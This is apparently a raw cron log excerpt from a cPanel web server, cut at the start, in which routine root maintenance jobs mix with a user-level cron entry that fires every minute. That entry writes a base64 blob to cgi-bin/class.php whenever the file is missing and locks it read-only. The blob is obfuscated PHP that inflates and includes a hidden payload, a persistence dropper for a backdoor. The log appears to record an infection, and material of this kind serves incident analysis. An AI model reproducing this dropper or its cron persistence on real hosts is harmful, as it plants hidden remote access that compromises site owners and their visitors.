base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:36:02 server CROND[22030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:36:02 server CROND[22031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:36:02 server CROND[22032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:37:01 server CROND[22424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:37:01 server CROND[22425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:37:01 server CROND[22426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:38:01 server CROND[22953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:38:01 server CROND[22954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:38:01 server CROND[22955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:39:01 server CROND[23360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:39:01 server CROND[23361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:39:01 server CROND[23362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:39:01 server CROND[23364]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 17:40:01 server CROND[23835]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:40:01 server CROND[23838]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:40:01 server CROND[23840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:40:01 server CROND[23841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:40:01 server CROND[23844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:40:01 server CROND[23843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:40:01 server CROND[23849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:40:01 server CROND[23842]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:41:01 server CROND[24700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:41:01 server CROND[24701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:41:01 server CROND[24702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:42:01 server CROND[25085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:42:01 server CROND[25084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 17:42:01 server CROND[25086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:42:01 server CROND[25083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:43:01 server CROND[25468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:43:01 server CROND[25469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:43:01 server CROND[25470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:44:01 server CROND[25839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:44:01 server CROND[25841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:44:01 server CROND[25840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:45:01 server CROND[26385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:45:01 server CROND[26386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:45:01 server CROND[26389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:45:01 server CROND[26390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:45:01 server CROND[26393]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:45:01 server CROND[26391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:45:01 server CROND[26392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:46:02 server CROND[27311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:46:02 server CROND[27312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:46:02 server CROND[27313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:47:01 server CROND[27697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:47:01 server CROND[27698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:47:01 server CROND[27700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:48:01 server CROND[28092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:48:01 server CROND[28098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
